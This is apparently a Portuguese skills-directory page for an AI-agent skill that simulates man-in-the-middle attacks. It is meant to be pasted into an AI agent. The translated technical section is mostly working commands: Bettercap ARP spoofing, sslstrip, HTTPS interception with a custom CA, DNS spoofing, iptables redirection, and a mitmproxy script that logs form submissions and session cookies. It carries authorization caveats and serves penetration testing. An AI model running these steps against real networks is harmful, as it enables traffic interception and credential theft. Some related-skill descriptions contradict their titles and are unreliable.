conducting-man-in-the-middle-attack-simulation
Ajuda seu agente a simular ataques onde ele intercepta e analisa o tráfego de rede. É útil para testar a segurança de comunicações e a detecção de atividades suspeitas.
O que ela faz
Esta ferramenta simula ataques 'man-in-the-middle' para testar a segurança de redes. Ela permite interceptar e analisar o tráfego de rede para verificar se as comunicações estão bem protegidas.
Quando usar
- ✓Testar se sites e aplicativos validam corretamente certificados de segurança.
- ✓Demonstrar os riscos de usar protocolos de comunicação sem criptografia.
- ✓Verificar se medidas de segurança contra ataques estão funcionando.
Exemplo do que pedir para a IA
“Simule um ataque man-in-the-middle para verificar a segurança do meu site.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta usa programas como Ettercap, mitmproxy e Bettercap para se posicionar entre o usuário e o servidor. Isso permite ver e até modificar os dados que trafegam na rede, como se fosse um espião autorizado.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill conducting-man-in-the-middle-attack-simulationOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/conducting-man-in-the-middle-attack-simulation/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Simulando Ataques Man-in-the-Middle
Quando Usar
- Testar se aplicativos validam corretamente certificados TLS e aplicam comunicações criptografadas
- Demonstrar o risco de protocolos em texto claro (HTTP, FTP, Telnet, SMTP) para os stakeholders da organização
- Validar se HSTS, "certificate pinning" e outros controles anti-MITM estão implementados corretamente
- Avaliar as capacidades de detecção de rede para ataques de ARP spoofing, DHCP spoofing e DNS spoofing
- Treinar equipes de resposta a incidentes para identificar e responder a indicadores de ataque MITM
Não use em redes de produção sem autorização escrita explícita e um plano de reversão, contra sistemas que você não possui ou tem permissão para testar, ou para interceptar comunicações de terceiros não envolvidos.
Pré-requisitos
- Autorização escrita especificando os alvos no escopo e as técnicas MITM aprovadas
- Bettercap 2.x, Ettercap e mitmproxy instalados na máquina do atacante
- Acesso de Camada 2 ao mesmo segmento de rede dos hosts alvo
- Certificado CA personalizado para testes de interceptação TLS (gerado especificamente para o engajamento)
- Wireshark ou tshark para capturar e verificar o tráfego interceptado
- Ambiente de laboratório isolado ou janela de teste de produção aprovada com procedimentos de reversão
Fluxo de Trabalho
Etapa 1: Configurar o Ambiente de Ataque
# Enable IP forwarding
sudo sysctl -w net.ipv4.ip_forward=1
sudo sysctl -w net.ipv6.conf.all.forwarding=1
# Disable ICMP redirects
sudo sysctl -w net.ipv4.conf.all.send_redirects=0
# Generate a CA certificate for TLS interception
openssl genrsa -out mitm-ca.key 4096
openssl req -new -x509 -days 30 -key mitm-ca.key -out mitm-ca.crt \
-subj "/CN=MITM Test CA/O=Security Assessment/C=US"
# Discover hosts on the target network
sudo bettercap -iface eth0 -eval "net.probe on; sleep 10; net.show; quit"
Etapa 2: Executar MITM Baseado em ARP com Bettercap
# Start Bettercap with interactive mode
sudo bettercap -iface eth0
# Enable network probing to discover hosts
> net.probe on
# Display discovered hosts
> net.show
# Set target (victim: 192.168.1.50, gateway: 192.168.1.1)
> set arp.spoof.targets 192.168.1.50
> set arp.spoof.fullduplex true
# Start ARP spoofing
> arp.spoof on
# Enable HTTP proxy for traffic inspection
> set http.proxy.sslstrip true
> http.proxy on
# Enable HTTPS proxy with certificate interception
> set https.proxy.certificate mitm-ca.crt
> set https.proxy.key mitm-ca.key
> https.proxy on
# Enable DNS spoofing for specific domains
> set dns.spoof.domains example.com,*.example.com
> set dns.spoof.address 192.168.1.99
> dns.spoof on
# Enable credential sniffer
> set net.sniff.verbose true
> set net.sniff.filter "tcp port 80 or tcp port 21 or tcp port 110"
> net.sniff on
Etapa 3: Interceptar Tráfego HTTP/HTTPS com mitmproxy
# Start mitmproxy as transparent proxy
sudo mitmproxy --mode transparent --set confdir=~/.mitmproxy \
--set ssl_insecure=true -w mitm_capture.flow
# Configure iptables to redirect traffic through mitmproxy
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080
sudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080
# Use mitmproxy scripting for automated credential extraction
cat > extract_creds.py << 'PYEOF'
"""mitmproxy script to extract credentials from intercepted traffic."""
from mitmproxy import http
import json
def request(flow: http.HTTPFlow):
if flow.request.method == "POST":
content_type = flow.request.headers.get("content-type", "")
if "form" in content_type or "json" in content_type:
with open("captured_forms.log", "a") as f:
f.write(f"URL: {flow.request.pretty_url}\n")
f.write(f"Data: {flow.request.get_text()}\n")
f.write("---\n")
def response(flow: http.HTTPFlow):
# Log authentication cookies
if "set-cookie" in flow.response.headers:
with open("captured_cookies.log", "a") as f:
f.write(f"URL: {flow.request.pretty_url}\n")
f.write(f"Cookie: {flow.response.headers['set-cookie']}\n")
f.write("---\n")
PYEOF
sudo mitmproxy --mode transparent -s extract_creds.py -w mitm_capture.flow
Etapa 4: Realizar Ataques de DNS Spoofing e DHCP
# DNS spoofing com Ettercap
sudo tee /etc/ettercap/etter.dns << 'EOF'
# Redirecionar domínio alvo para o servidor web do atacante
example.com A 192.168.1.99
*.example.com A 192.168.1.99
…
Perguntas frequentes
O que é um ataque 'man-in-the-middle'?
É um tipo de ataque onde o criminoso se insere secretamente na comunicação entre duas partes, fazendo com que cada uma pense que está falando diretamente com a outra.
É seguro usar esta ferramenta?
Deve ser usada apenas em ambientes controlados e com autorização explícita, pois pode interromper redes se usada incorretamente.
Preciso de conhecimento técnico para usar?
Sim, é necessário ter conhecimentos básicos de redes e linha de comando para configurar e executar as simulações.
Detalhes
Descrição original do autor
Simulates man-in-the-middle attacks using Ettercap, mitmproxy, and Bettercap in authorized environments to intercept, analyze, and modify network traffic for testing encryption enforcement, certificate validation, and detection capabilities. '
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5579
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC